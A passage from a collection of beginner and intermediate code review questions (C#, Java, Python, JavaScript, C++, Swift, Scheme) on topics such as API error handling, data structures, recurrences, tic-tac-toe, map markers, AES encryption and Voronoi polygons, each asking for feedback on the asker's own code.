            return StatusCode((int)apiCallEx.HttpStatusCode);

        return BadRequest($"Failed to get object {name}");
     }
}

The _clientService is the service responsible for the call to the external API:

public async Task<ObjectDto> GetObjectAsync(string name)
{
    var objectWrapper = new ObjectDto();

    var request = new HttpRequestMessage(HttpMethod.Get, $"object/{name}/");
    request.Headers.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json"));

    using (var response = await _client.SendAsync(request, HttpCompletionOption.ResponseHeadersRead))
    {
        if (response.IsSuccessStatusCode)
        {
            objectWrapper = await response.Content.ReadAsAsync<ObjectDto>();
        }
        else
        {
            throw new ApiCallFailedException(response.StatusCode);
        }
    }

    return objectWrapper;
}

Therefore, I created a custom exception class ApiCallFailedException to handle not successful status codes returned by the external API in order to be able to catch it in my controller action.
In the controller action, in caso of not successful status codes from the external API, I decided to return the same status code.

My question is: is this approach correct to handle external API call failure?

Thank you!


texts: Get array of pressed buttons using extension method

texts:
In my game, I need to detect whether any buttons/keys are pressed at all before I try to process any input. This is easy enough for keys since the XNA library provides a GetPressedKeys method on the KeyboardState class:

private void ProcessKeyboard()
{
    keyboardState = Keyboard.GetState( PlayerIndex.One );

    if ( !keyboardState.GetPressedKeys().Any() )
    {
        DoAction( Actions.Idle );
        return;
    }

    foreach ( var binding in keyboardBindings )
    {
        if ( keyboardState.IsKeyDown( binding.Key ) )
        {
            DoAction( binding.Value );
        }
    }
}

However, it doesn't provide a corollary for the GamePadState class:

private void ProcessGamePad()
{
    gamePadState = GamePad.GetState( PlayerIndex.One );

    // detect no input?

    foreach ( var binding in gamePadBindings )
    {
        if ( gamePadState.IsButtonDown( binding.Key ) )
        {
            DoAction( binding.Value );
        }
    }
}

I tried whipping up my own extension method but, as I'm not really familiar with enums or arrays in C#, I'm afraid it's a little sloppy:

public static class GamePadStateExtensions
{
    public static Buttons[] GetPressedButtons( this GamePadState gamePadState )
    {
        // 25 is the number of items in Buttons
        var pressedButtons = new Buttons[25];

        foreach ( Buttons button in Enum.GetValues( typeof(Buttons) ) )
        {
            if ( gamePadState.IsButtonDown( button ) )
            {
                pressedButtons[pressedButtons.Count()] = button;
            }
        }

        return pressedButtons;
    }
}

Would I be better off doing something else with ProcessKeyboard and/or ProcessGamePad? How can I improve GetPressedButtons?


texts:
I am working on an ASP.NET MVC 5 project, using the code-first approach for database design. I have a question about my code design.

I have an Entity in my database schema called Student:

public partial class Student
{
  public int Id { get; set; }
  public string RollNumber { get; set; }
  public string Name { get; set; }
  public string Address { get; set; }
  public string Mobile { get; set; }
  public string Email { get; set; }
}

Notice that I have declared this as partial because I extend it and include all the data access and processing functions for a student, like this:

public partial class Student
{
   [NotMapped]
   private MyDbContext context = new MyDbContext();

   public static Student Get(int id)
   {
     Student student;
     using(MyDbContext context = new MyDbContext())
     {
       student = context.Students.SingleOrDefault(s => s.Id == id)
     }
     return student;
   }

   public void Student Create()
   {
     context.Students.Add(this);
     context.SaveChanges();
   }

   //....
   //and similarly many other
}

Notice that I have declared a static Get function which takes an id and returns a Student object if it exists, otherwise null. I have declared this static because it already returns a Student object, so calling it on an object seems unreasonable to me (please correct me if I am wrong).

The second thing to notice is the NotMapped attribute which I've used to exclude this property from mapping to database when running migrations.

I am using the above mentioned design with my all entities (i.e. wrapping data and function processing over that data into a single object).

Is this design approach good? Is there any other better approach exist, or am I on the wrong path?


texts: Calculating the result of a recurrence function

texts:
The recurrence function is defined as follows:

\$f(0) = 1\$
\$f(1) = 1\$
\$f(2n) = f(n)\$
\$f(2n+1) = f(n) + f(n-1)\$

I was tasked to calculate the recurrence of a very large number, \$n = 66666666666666\$, using C++. As you can clearly see, the 3rd line applies for even inputs, and the 4th line for odd inputs. If this isn't clear consider the following derivation for \$f(10)\$:

\$f(10) = f(5) = f(2) + f(1) = f(1) + f(1) = 1 + 1 = 2\$

long long int function(long long int x) {
  if (x == 0 || x == 1)
      return 1;

  long long int result = 0;

  if (x % 2 != 0) {
      result += function((x-1)/2) + function((x/2)-1);
  } else {
      result += function(x/2);
  }

  return result;
}

The runtime of this implementation is very large (almost 30 seconds to finish). Clearly this is because recursion is very expensive. My runtime limit is 1.0s, at most. Therefore I think an iterative approach would work wonders.

This is the result of running time ./my_program:

real  0m29.893s
user  0m29.809s
sys   0m0.075s

I am wondering if there are other approaches, besides translating it to an iterative version, which would be suitable for this problem in particular. I would also be grateful if anyone has any pointers about my code/approach.


texts:
I have a .csv file in which each row represents an association between a software application and a web server. My goal is to fetch a List<Server> by application, so I'm mapping the .csv to a Dictionary<string, List<Server>>. I'm using CsvHelper to read the .csv file and map it to objects.

.csv format:

Family | Environment | Name   | Application
01     | Dev         | WEBD01 | application1
01     | Production  | WEBP01 | application1
02     | Dev         | WEBD02 | application2

Server class:

public class Server
{
    public string Name { get; set; }
    public string Family { get; set; }
    public string Environment { get; set; }
}

Mapping:

protected override void RefreshData()
{
    // _serverDictionary is a class-level Dictionary<string, List<Server>>
    _serverDictionary.Clear();

    using (TextReader textReader = File.OpenText(_csvFile.FullName))
    using (CsvReader reader = new CsvReader(textReader))
    {
        while (reader.Read())
        {
            string applicationName = reader.GetField<string>("Application");
            Server server = reader.GetRecord<Server>();

            if (_serverDictionary.ContainsKey(applicationName))
                _serverDictionary[applicationName].Add(server);
            else
                _serverDictionary.Add(applicationName, new List<Server> { server });
        }
    }
}

Fetching:

public IEnumerable<Server> GetByApplication(string applicationName)
{
    List<Server> servers = new List<Server>();

    _appServers.Where(pair => pair.Key.EqualsIgnoreCase(applicationName))
        .ForEach(pair => servers.AddRange(pair.Value));

    return servers;
}

Concerns:

Is a Dictionary the best data structure to use in the first place?
I feel that both the mapping code and the fetch code could be more efficient by better utilizing LINQ projection.


texts: Longest Collatz sequence using dynamic programming in Java

texts:
I'm not getting where else should I optimize it. Is there any way to optimize this code any further? Just give me hints.

import java.io.*;
import java.util.*;

public class Solution {
    static int[] countarray = new int[5000000]; //for memoization
    static int count; //for calculating length
    public static void main(String[] args){
        countarray[0]=0;
        Scanner scan = new Scanner(System.in);
        int t = scan.nextInt(); //number of inputs
        while(t > 0){
            int num = scan.nextInt(); // number upto which we have to find maximum length of the sequence
            int max = 0;
            int result = 1;
            while(num >= 1){
                    count = 0;
                    if(countarray[num-1] != 0)
                        count = countarray[num-1];
                    else
                        counter(num);
                    if(count > max){
                        max = count;
                        result = num;
                    }
                    num--;
            }
            t--;
            System.out.println(result);
        }

    }
    public static int counter(int temp){
        if(temp <= 1)
            return count;
        if(temp < 5000000 && countarray[temp-1] != 0){
            count += countarray[temp-1];
            return count;
        }
        if(temp % 2 == 0)
            counter(temp/2);
        else
            counter((3 * temp) + 1);
        count++;
        if(temp < 5000000){
            countarray[temp-1] = count;
        }
        return count;
    }
}


texts: Basic TicTacToe Game Number 1MillionAnd1

texts:
I put together a basic Tic Tac Toe game and would appreciate some feedback/advice on how to make it better.

Specifically, the GUI is kinda awful. I would love to build more tests into this to test the class thoroughly.

#!/usr/bin/python
# -*- coding: utf-8 -*-
"""
A classic tic-tac-toe game programmed for
the command line.
"""

import random

class Board():
    def __init__(self):
        self. spaces = [None] * 9
        self.win = False
        self.tie = False
    def __str__(self):
        return '               Y\n          1    2    3    \n      1:  %s | %s | %s \n X    2:  %s | %s | %s \n      3:  %s | %s | %s ' % tuple([s if s else ' ' for s in self.spaces])
    def move(self, player, x, y):
        loc = 3*(int(x)) +int(y)
        self.spaces[loc] = player
        self.__check_win(player)
    def __check_win_row(self, a_player,a_list):
        return all([x==a_player for x in a_list])
    def __check_win(self, player):
        if self.__check_win_row(player,self.spaces[0:3]) \
        or self.__check_win_row(player,self.spaces[3:6]) \
        or self.__check_win_row(player,self.spaces[6:9]):
            self.win = True
        elif self.__check_win_row(player, [self.spaces[i] for i in [0,3,6]]) \
        or self.__check_win_row(player, [self.spaces[i] for i in [1,4,7]]) \
        or self.__check_win_row(player, [self.spaces[i] for i in [2,5,8]]):
            self.win = True
        elif self.__check_win_row(player, [self.spaces[i] for i in [0,4,8]]) \
        or self.__check_win_row(player, [self.spaces[i] for i in [2,4,6]]):
            self.win = True
        elif not any([x==None for x in self.spaces]):
            self.tie = True
    def oponent_move(self, player):
        move = random.choice([i for i in range(9) if self.spaces[i]==None])
        self.spaces[move] = player
        self.__check_win(player)

def PrintHeader():
    result = '\n'
    result += '\tTic-Tac-Toe Game\t\n\n'
    print(result)

def GetResponse():
    play = [None, None]
    print("How do you want to move? ")
    play[0] = int(input("X: "))-1
    play[1] = int(input("Y: "))-1
    return play

def SwapPlayer(player):
    if player =='X':
        return 'O'
    elif player == 'O':
        return 'X'
    else:
        raise ValueError

def PrintWinner(player):
    result = '\n'
    result += 'And the Winner is ....\n'
    result += 'Player %s has WON THE GAME!!!' % (player)
    print(result)

def PrintTie():
    result = '\n'
    result += 'Womp, Womp ....\n'
    result += "It's a Tie!!!"
    print(result)

def main():
    playing = True
    new_game = Board()
    player = 'X'
    while playing:
        PrintHeader()
        print(new_game)
        play = GetResponse()
        new_game.move(player, play[0], play[1])
        if new_game.win or new_game.tie:
            break
        player = SwapPlayer(player)
        new_game.oponent_move(player)
        player = SwapPlayer(player)

    if new_game.win:
        PrintWinner(player)
    else:
        PrintTie()

if __name__=='__main__':
    main()

GitHub repo link


texts: Finding the objects with the cheapest seats

texts:
i have the following json object

    const file = [
  {
    "seatNumber": "1A",
    "price": "£19.99",
    "available": true,
    "disabilityAccessible": true
  },
  {
    "seatNumber": "2A",
    "price": "£19.99",
    "available": false,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "3A",
    "price": "£19.99",
    "available": false,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "4A",
    "price": "£19.99",
    "available": true,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "5A",
    "price": "£19.99",
    "available": false,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "1B",
    "price": "£12.99",
    "available": true,
    "disabilityAccessible": true
  },
  {
    "seatNumber": "2B",
    "price": "£12.99",
    "available": false,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "3B",
    "price": "£12.99",
    "available": false,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "4B",
    "price": "£12.99",
    "available": false,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "5B",
    "price": "£12.99",
    "available": true,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "1C",
    "price": "£12.99",
    "available": true,
    "disabilityAccessible": true
  },
  {
    "seatNumber": "2C",
    "price": "£12.99",
    "available": true,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "3C",
    "price": "£12.99",
    "available": true,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "4C",
    "price": "£12.99",
    "available": true,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "5C",
    "price": "£12.99",
    "available": true,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "1D",
    "price": "£12.99",
    "available": true,
    "disabilityAccessible": true
  },
  {
    "seatNumber": "2D",
    "price": "£12.99",
    "available": false,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "3D",
    "price": "£12.99",
    "available": true,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "4D",
    "price": "£12.99",
    "available": true,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "5D",
    "price": "£12.99",
    "available": true,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "1E",
    "price": "£8.99",
    "available": true,
    "disabilityAccessible": true
  },
  {
    "seatNumber": "2E",
    "price": "£8.99",
    "available": true,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "3E",
    "price": "£8.99",
    "available": false,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "4E",
    "price": "£8.99",
    "available": true,
    "disabilityAccessible": false
  },
  {
    "seatNumber": "5E",
    "price": "£8.99",
    "available": false,
    "disabilityAccessible": false
  }
]

I am trying to display seatNumber of the cheapest objects. so far i have the following which works but would like to know if there is a better way following big o notation in es6 format

const seats = file.filter( seat => seat.price.replace(/[^0-9.-]+/g,"") == Math.min(...file.map(function ( seat ) { return Number(seat.price.replace(/[^0-9.-]+/g,"")) }) ) ).map(seat => seat.seatNumber);
        console.log(seats)

output is

[ '1E', '2E', '3E', '4E', '5E' ]


texts: Iterate array with delay in between using promise

texts:
I would like to write a nodejs IP driver for my AVR. In order to turn on my AVR and switch it to channel '321' i have to send key presses. A key press can be seen as a 'press key' and 'release key' command.

Basically, I have to write the following code:

press(turn_on)
delay(50ms)
release(turn_on)
delay(50ms)
press(3)
delay(50ms)
release(3)
delay(50ms)
etc.

I am using 'bluebird' and the communication towards the AVR is already written. All I am struggling with is how I can write the above set of commands with promises.

I came to the following code, which works, but I don't know if it is the most elegant and best solution.

var arr = [1,2,3,4,5];
Promise.mapSeries(arr, function (itm) {
      console.log('on: ' + itm);
      return Promise.delay(500).then(function() { console.log('off: ' +itm);
   }).delay(500);
});


texts: ResizableArray based queue implementation

texts:
I am implementing basic data structures in Java. I have written this simple resizing array queue implementation and looking for ways to simplify the implementation as it looks like I am using too many variables which can be reduced. I would appreciate any ideas to make it simpler, implementation advice and constructive criticisms.

import java.util.Iterator;
import java.util.NoSuchElementException;

public class ResizingArrayQueue<T> implements Iterable<T>{
    private T[] mQueue;
    private int mHead, mTail, mCurrentSize, mSize;

    public Iterator<T> iterator() {
        return new QueueIterator();
    }

    public ResizingArrayQueue() {
        mQueue = (T[]) new Object[1];
        mHead = 0;
        mSize = 1;
        mTail = mSize - 1;
        mCurrentSize = 0;
    }

    public void enQueue(T valueToEnque){
        if (mCurrentSize == mSize) {
            resize(2 * mSize);
        }
        mTail = ++mTail % mSize;
        mQueue[mTail] = valueToEnque;
        mCurrentSize++;
    }

    public T deQueue(){
        if(mCurrentSize == mSize / 4) {
            resize(mSize / 2);
        }
        T value = mQueue[mHead % mSize];
        mQueue[mHead % mSize] = null;
        mHead++;
        mCurrentSize--;
        return value;
    }

    public boolean isEmpty() {
        return mCurrentSize == 0;
    }

    public void resize(int size){
        T[] newQueue = (T[]) new Object[size];
        int mCurrent = 0;
        while(mCurrent < mCurrentSize){
            newQueue[mCurrent] = mQueue[(mCurrent + mHead) % mSize];
            mCurrent++;
        }

        mQueue = newQueue;
        mSize = size;
        mHead = 0;
        mTail = mCurrentSize - 1;
    }

    private class QueueIterator implements Iterator<T> {
        private int mCurrent = 0;

        public boolean hasNext() {
            return mCurrent < mCurrentSize;
        }

        public T next() {
            if (!hasNext()) {
                throw new NoSuchElementException();
            }
            T valueToReturn = mQueue[(mCurrent + mHead) % mSize];
            mCurrent++;
            return valueToReturn;
        }

        public void remove(){
            throw new UnsupportedOperationException();
        }
    }
}


texts: Enum for handling network request errors in Swift

texts:
I'm working on a new API written in Swift 5 and I wanted to play with the new Result. I wanted to know what you guys think about this syntax:

enum NetworkRequestError: Error {
    case hostNotAvailable
    case accountNotAvailable

    func finish<T>() -> Result<T, NetworkRequestError> {
        return .failure(self)
    }
}

public class NetworkClient: TestableAPI {
    var host: String?

    func fetch(result: @escaping (Result<(any: [Any], any1: [Any]), NetworkRequestError>) -> Void) {
        guard host != nil else {
            result(NetworkRequestError.hostNotAvailable.finish())
            return
        }
    }
}


texts: A Node.js server that create a tunnel to the Internet

texts:
I'm creating a Node.js app that allows the user to create their own social network. This code doesn't do anything special yet except creating a basic server and making it available on the Internet via a persistent address. As the address can be assigned to any person at any time, I make the server check for available addresses in the form of [device uuid]-[discriminator], where the discriminator is any number between 0 and 29. So the client then connect to the server by probing 30 possible addresses (sounds awful ;P) until the correct address is found. Anyway here is the code, please review it for me, I want this thing to be as perfect as possible.

Server

const localtunnel = require("localtunnel");
const portscanner = require("portscanner");
const express = require("express");
const low = require("lowdb");
const FileSync = require("lowdb/adapters/FileSync");
const uuidv4 = require("uuid/v4");

const getSubdomainFromURL = url => new URL(url).hostname.split(".")[0];
const constructSubdomain = (uuid, discriminator) => uuid + "-" + discriminator;
const createTunnel = (subdomain, port) => new Promise((resolve, reject) =>
  localtunnel(port, { subdomain: subdomain }, (error, tunnel) => {
    if (error) {
      reject(error);
    } else if (getSubdomainFromURL(tunnel.url) === subdomain) {
      resolve(tunnel);
    } else {
      tunnel.close();
      reject(tunnel);
    }
  })
);

const adapter = new FileSync("db.json");
const db = low(adapter);
db
  .defaults({
    deviceUUID: uuidv4()
  })
  .write();

const defaultPorts = [2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020];
portscanner.findAPortNotInUse(defaultPorts)
  .then(async port => {
    const numberOfAttempts = 30;
    let subdomain;
    for (let i = 0; i < numberOfAttempts; i++) {
      try {
        subdomain = constructSubdomain(db.get("deviceUUID"), i);
        await createTunnel(subdomain, port);
        break;
      } catch (error) {
        console.error(error);
        if (i === numberOfAttempts - 1) {
          console.log("Sorry, we are giving up. We can't create a tunnel for you after " + numberOfAttempts + " unsuccessful attempts.");
          process.exit();
        }
        continue;
      }
    }
    console.log("Here is your subdomain: " + subdomain);
    const app = express();
    app.get("/", (req, res) => res.send("LOCAL_GROUP_NETWORK_INSTANCE"));
    app.listen(port, () => console.log("Application server listening on port " + port));
  });

Client

const axios = require("axios");
const numberOfAttempts = 30;
const deviceID = process.argv[2];
const constructURL = (deviceID, discriminator) => `https://${deviceID}-${discriminator}.localtunnel.me/`;
const request = (deviceID, i = 0) => {
  console.log(`Establishing connection: ${i + 1}/30`);
  if (i === 30) return console.log("Finally giving up...");
  axios.get(constructURL(deviceID, i), { timeout: 3000 })
    .then(response =>
      response === "LOCAL_GROUP_NETWORK_INSTANCE"
        ? request(deviceID, i + 1)
        : console.log("We are the world!")
    )
    .catch(error => request(deviceID, i + 1))
};
request(deviceID);

I know the way my app works sound ridiculous but it's just an experiment, I don't really care much about it. What I need is a code review.


texts:
With the programming language skills that are available to me at the time, I've written this program to find the "taxicab numbers" (e.g.  a number
expressible as the sum of two cubes in two different ways.)

While this code does work, it is definitely not scalable and it already takes about a minute to solve this for the below numbers. Does anyone have any tips/advice in order to make the complexity less?
Thanks in advance.

from math import pow

POWER = 3

for outcome in range(1000, 5000):
    maxtocheck = int( pow( outcome, 1/POWER ) )
    result = 0
    for i in range(0,maxtocheck+1):
        for j in range(0,maxtocheck+1):
            for k in range(0,maxtocheck+1):
                for l in range(0,maxtocheck+1):
                    if outcome == (pow(i, 3) + pow(j, 3)) == (pow(k, 3) + pow(l, 3)):
                        if i != k and i != l and j != k and j != l:
                            if result != outcome:
                                print("{} = {}**3 + {}**3 = {}**3 + {}**3".format(outcome,i,j,k,l))
                                result = outcome


texts:
I just wrote this script that calculates the time difference between two times. It's going to be used in a larger program that will store the returned value in a database.

I'm mainly wondering if I've used docstrings, comments and try/raise/except correctly since it's my first time really using them.

def time_difference(time_start, time_end):
    '''Calculate the difference between two times on the same date.

    Args:
        time_start: the time to use as a starting point
        time_end: the time to use as an end point

    Returns:
        the difference between time_start and time_end. For example:

        >>> time_difference(1500, 1600)
        60

        >>> time_difference(1100, 1310)
        130

    Raises:
        TypeError: if time_start and time_end is not a string
        ValueError: if time_start and time_end is below 0 or above 2400
    '''

    try:
        if not isinstance(time_start, str):
            raise TypeError('time_start has to be a string!')
        elif not isinstance(time_end, str):
            raise TypeError('time_end has to be a string!')
        elif int(time_start) > 2400 or int(time_end) < 0:
            raise ValueError('time_start nor time_end can be below 0 or above 2400!')
        elif int(time_start) > int(time_end):
            raise ValueError('time_start cannot be higher than time_end!')
    except (TypeError, ValueError):
        raise

    # Convert time_start and time_end to necessary variables
    # for the calculation.
    hours_begin = time_start[0] + time_start[1]
    minutes_begin = time_start[2] + time_start[3]
    hours_end = time_end[0] + time_end[1]
    minutes_end = time_end[2] + time_end[3]

    # Calculates the difference.
    minutes = ((int(hours_end) - int(hours_begin)) * 60 + \
        int(minutes_end) - int(minutes_begin))

    return(minutes)


texts:
I have module called printer allocator (PrinterAllocator) which will allocate the next available printer to the requester.

import java.util.ArrayList;
import java.util.Arrays;
import java.util.BitSet;
import java.util.List;

public class PrinterAllocator {

    private static final int TOTAL_AVAILABLE_PRINTERS = 25;
    private BitSet bitSet = new BitSet( TOTAL_AVAILABLE_PRINTERS );

    public PrinterAllocator() {
        List<Integer> unassignedPriters = new ArrayList<>( Arrays.asList( 1, 2, 3, 24 ) ); // but this array will be fetched from database
        unassignedPriters.forEach( printerId -> bitSet.set( printerId - 1 ) );
    }

    public int getNextPrinter() {
        int index = bitSet.nextClearBit( 0 ) + 1;
        bitSet.set( index );
        return index + 1;
    }

    public boolean hasEnoughPrinters(int printersNeeded){
        /* point 1*/
        return bitSet.cardinality()+printersNeeded<=TOTAL_AVAILABLE_PRINTERS;
    }

}

Point 1: I am unable to replace 'point 1' with following code

 return bitSet.cardinality()+printersNeeded<=bitSet.size()

    (or)

return bitSet.cardinality()+printersNeeded<=bitSet.length();

Because bitSet.size() and bitSet.length() has a different meaning that is size() != length() != TOTAL_AVAILABLE_PRINTERS

Any better Idea to implement PrinterAllocator with/without bitset


texts:
My current task is to find a score from an array where the highest/lowest scores have been taken away, and if the highest/lowest occur more than once (ONLY if they occur more than once), one of them can be added:

E.g. int[] scores = [4, 8, 6, 4, 8, 5] therefore the final addition will be \$\sum{4,8,6, 5} = 23 \$.

Another condition of the task is that LINQ cannot be used, as well as any of the System.Array methods (you can see by my previously ask questions that has been a bit of a pain for me, since I solved this with LINQ in less than 5 minutes).

I have working code the solves the problem but the task requires multiple methods/functions. I have been trying to restructure the program but with all sorts of issues.

using System;
using System.Collections.Generic;
//using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Scoring {
class Program {

    static int highOccurrence = 0;
    static int lowOccurrence = 0;
    //static int high; <------
    //static int low; <------

    static void Main(string[] args) {
        int[] scores = { 4, 8, 6, 4, 8, 5 };

        findScore(scores);
        ExitProgram();
    }

    static int findOccurrence(int[] scores, int low, int high) { //find the number of times a high/low occurs

        for (int i = 0; i < scores.Length; i++) {
            if (low == scores[i]) {
                lowOccurrence++;
                //record number of time slow occurs
            }

            if (high == scores[i]) {
                highOccurrence++;
                //record number of times high occurs                }
        }
        return highOccurrence;
    }

    static int findScore(int[] scores) { //calculates score, needs to be restructured

        int[] arrofNormal = new int[scores.Length];

        //int low = scores[0]; <----This is where the issue is
        //int high = scores[0]; <----- ^^^^^
        int total = 0;

        for (int i = 0; i < scores.Length; i++) {
            if (low > scores[i]) {
                low = scores[i];
            } //record lowest value

            if (high < scores[i]) {
                high = scores[i];
                //record highest value
            }
        }
        for (int x = 0; x < scores.Length; x++) {
            if (scores[x] != low && scores[x] != high) {
                arrofNormal[x] = scores[x];
                //provides the total of the scores (not including the high and the low)
            }
            total += arrofNormal[x];
        }

        findOccurrence(scores, low, high);
        if (highOccurrence > 1) { //if there is more than 1 high (or 1 low) it is added once into the total
            total += high;
            if (lowOccurrence > 1) {
                total += low;
            }
        }
        Console.WriteLine("Sum = " + total);
        return total; //remove not all code paths return.. error
    }
    static void ExitProgram() {
        Console.Write("\n\nPress any key to exit program: ");
        Console.ReadKey();
    }//end ExitProgram
}
}

I have placed arrows in the code above to show where my issue is. If I try to declare "high" and "low" as global variables, my final answer is always a few numbers off, buy if I leave the variables declared as high = scores[0] etc, I will get the right answer.

What I want ideally is to have separate methods for each step of the calculation, so right now I have method for finding the number of times a specific value shows up in the array.

The next I would like to do is finding the highest/lowest value in the array, one method would do the final calculation, and the final one would write the results into the console window. The last two parts (finding the high/low and final calculation) are currently in the find score method.


texts:
I implemented std::stack from the STL for deeper understanding of the language and memory since I still am only a beginner. I implemented the stack using a singly linked list.

Header file:

/* Header file for abstract data type "STACK" implemented using a linked list  */

#ifndef STACK_H
#define STACK_H

template <class T>
class stack {

public:
void push(T);     //Function that inserts elements into the stack
bool empty();     //Function to test whether the stack is empty
T top();          //Returns top element of stack
void pop();       //Removes element at the top of the stack
int size();       //Returns size of stack
void print();     //Prints stack contents

struct node {     //Definition of node structure with constructor and destructor

T node_data;
node *next;

//default ctor
node() { next = nullptr;  }

//default dtor
~node() { delete root_node; }
};

private:
node *root_node = nullptr;
int elements = 0;
};

#endif //STACK_H

And here is the actual implementation file:

/* Definitons of the STACK data structure implemented using a linked list */

#include <iostream>
#include "stack.h"

using std::cout;
using std::endl;

/* FUNCTION: Test to check if the stack is empty or has at least one element */

template <class T>
bool stack<T>::empty() { return (root_node == nullptr); }

/* FUNCTION: Returns current size of the stack */
template <class T>
int stack<T>::size() { return elements; }

/* FUNCTION: Adds nodes to the stack with one argument which is the data to be inserted */

template <class T>
void stack<T>::push(T data) {

//Operation to preform if the stack is empty.
//Root element is popped off last (First in, Last out)
if ( empty() ) {
    root_node = new node;
    root_node->node_data = data;
    root_node->next = nullptr;
    elements++;
     }

    //Operation to preform if stack is not empty.
    //Elements inserted into stack with dynamic allocation.
    else  {
    node *new_node = new node;
*new_node = *root_node;
root_node->next = new_node;
root_node->node_data = data;

elements++;
 }
}

/* FUNCTION: Removes element at the top of the stack */
template <class T>
void stack<T>::pop() {

if (size() > 1) {
node *temp_node = new node;
temp_node = root_node->next;

root_node = temp_node;
elements--;
 }

else if (size() == 1) {
root_node = nullptr;
elements--;
}

else {cout << "\nOperation pop() failed: Stack is empty!" << endl;}
}

/* FUNCTION: Retrieves element at the top of the stack */
template <class T>
T stack<T>::top() {
if (!empty()) {return root_node->node_data;}
else {cout << "\nOperation top() failed: Stack is empty!" << endl; return -1;}
}

/* FUNCTION: Prints the stack contents */
template <class T>
void stack<T>::print() {
int index = size();
for (int i = 1; i < index; i++) {
        cout << "Element " << i << ": " << "  "  << top() << endl;
        pop();
        }
}

I would appreciate all criticism relevant to code, style, flow, camelCase vs underscore, and so forth.


texts:
I made script which create marker on the map after mouse left button click. And after mouse right button click marker removed.

All markers coordinates storage in browser localStorage.

I use yandex-maps technoogy.

JSFIDDLE

code:

ymaps.ready(init);

var myMap,
    collectionMarkers,
    myPlacemark;

function init(){
    myMap = new ymaps.Map("map", {
        center: [55.76, 37.64],
        zoom: 7
    });

    collectionMarkers = new ymaps.GeoObjectCollection({}, {
        preset: "islands#redIcon"
    });

    myMap.geoObjects.add(collectionMarkers);

    renderSavedPoints();

    myMap.events.add('click', function (e) {
        var coords = e.get('coords');
        //console.log('lat:', coords[0], 'lng:', coords[1]);

        var placemark = new ymaps.Placemark([coords[0], coords[1]]);
        collectionMarkers.add(placemark);

        addToStoragePoint({
            lat: coords[0],
            lng: coords[1]
        });
    });

    collectionMarkers.events.add('contextmenu', function(e) {
        var coords = e.get('target').geometry.getCoordinates();

        var pointLat = coords[0],
            pointLng = coords[1];

        //console.log('right click', pointLat, pointLng);

        var points = getPoints(),
            newPoints = [];

        newPoints = points.filter((point) => point.lat != pointLat && point.lng != pointLng);

        localStorage.points = JSON.stringify(newPoints);
        renderSavedPoints();
    });
};

function getPoints() {
    return localStorage.points ? JSON.parse(localStorage.points) : [];
};

function addToStoragePoint(pointObj) {
    console.log('addToStoragePoint start');
    var points = getPoints();
    points.push(pointObj);
    localStorage.points = JSON.stringify(points);
};

function renderSavedPoints() {
    var points = getPoints();

    collectionMarkers.removeAll();

    points.forEach((point) => {
        var placemark = new ymaps.Placemark([point.lat, point.lng]);
        collectionMarkers.add(placemark);
    });
};


texts:
I have a Xml which is stored in the String. I need to encrypt it using a session key (AES and 256bit)

I am using following code to generate the key

     public byte[] generateSessionKey() throws NoSuchAlgorithmException, NoSuchProviderException
           {
    KeyGenerator kgen = KeyGenerator.getInstance("AES","BC");
    kgen.init(SYMMETRIC_KEY_SIZE);
    SecretKey key = kgen.generateKey();
    byte[] symmKey = key.getEncoded();
    return symmKey;
           }

Using following code to encrypt data with session key

    public byte[] encryptUsingSessionKey(byte[] skey, byte[] data) throws InvalidCipherTextException {
    PaddedBufferedBlockCipher cipher = new PaddedBufferedBlockCipher(new AESEngine(), new PKCS7Padding());

    cipher.init(true, new KeyParameter(skey));

    int outputSize = cipher.getOutputSize(data.length);

    byte[] tempOP = new byte[outputSize];
    int processLen = cipher.processBytes(data, 0, data.length, tempOP, 0);
    int outputLen = cipher.doFinal(tempOP, processLen);

    byte[] result = new byte[processLen + outputLen];
    System.arraycopy(tempOP, 0, result, 0, result.length);
    return result;

}

So, I want to know am I doing it right or wrong?


texts:
Exercise 2.27

  Modify your reverse
  procedure of exercise 2.18 to produce
  a deep-reverse procedure that takes a
  list as argument and returns as its
  value the list with its elements
  reversed and with all sublists
  deep-reversed as well. For example,

(define x (list (list 1 2) (list 3
4)))

x ((1 2) (3 4))

(reverse x) ((3 4) (1 2))

(deep-reverse x) ((4 3) (2 1))

I wrote the following:

(define (deep-reverse lis)
  (define (snoc elem lis)
    (if (null? lis)
        (cons elem lis)
        (cons (car lis) (snoc elem (cdr lis)))))
  (cond ((null? lis) lis)
        ((pair? (car lis)) (snoc (deep-reverse (car lis)) (deep-reverse (cdr lis))))
        (else (snoc (car lis) (deep-reverse (cdr lis))))))

(define a (list 1 2 3 4 5 (list 1 2 3 4) (list 5 6 7 8)))

What do you think?


texts: Constructing polygons from the edges in a Voronoi diagram

texts:
I am working on a Java program which creates a map using Voronoi. I am using a Java library which generates Voronoi and it is very fast.

The problem I am facing is that, then, I have to scan every Voronoi edge to know what point is on the left and on the right of the edge to create the polygon which contains each point.

This is the class which contains every Voronoi edge:

public class GraphEdge
{
    public double x1, y1, x2, y2;

    public int site1;
    public int site2;
}

The coordinates x1, y1, x2, y2 are the edge start and end coordinates and site1 and site2 are the indexes of the points which are on the left and on the right of the edge. So, to create the polygon which contains every point I do this:

for(int n = 0; n < xValues.length; ++n){
        polygonsList.add(new GPolygon());
        for(GraphEdge mGraphEdge : edgesList){
            if( (xValues[mGraphEdge.site1] == xValues[n] || xValues[mGraphEdge.site2] == xValues[n])
                && (yValues[mGraphEdge.site1] == yValues[n] || yValues[mGraphEdge.site2] == yValues[n]) ){
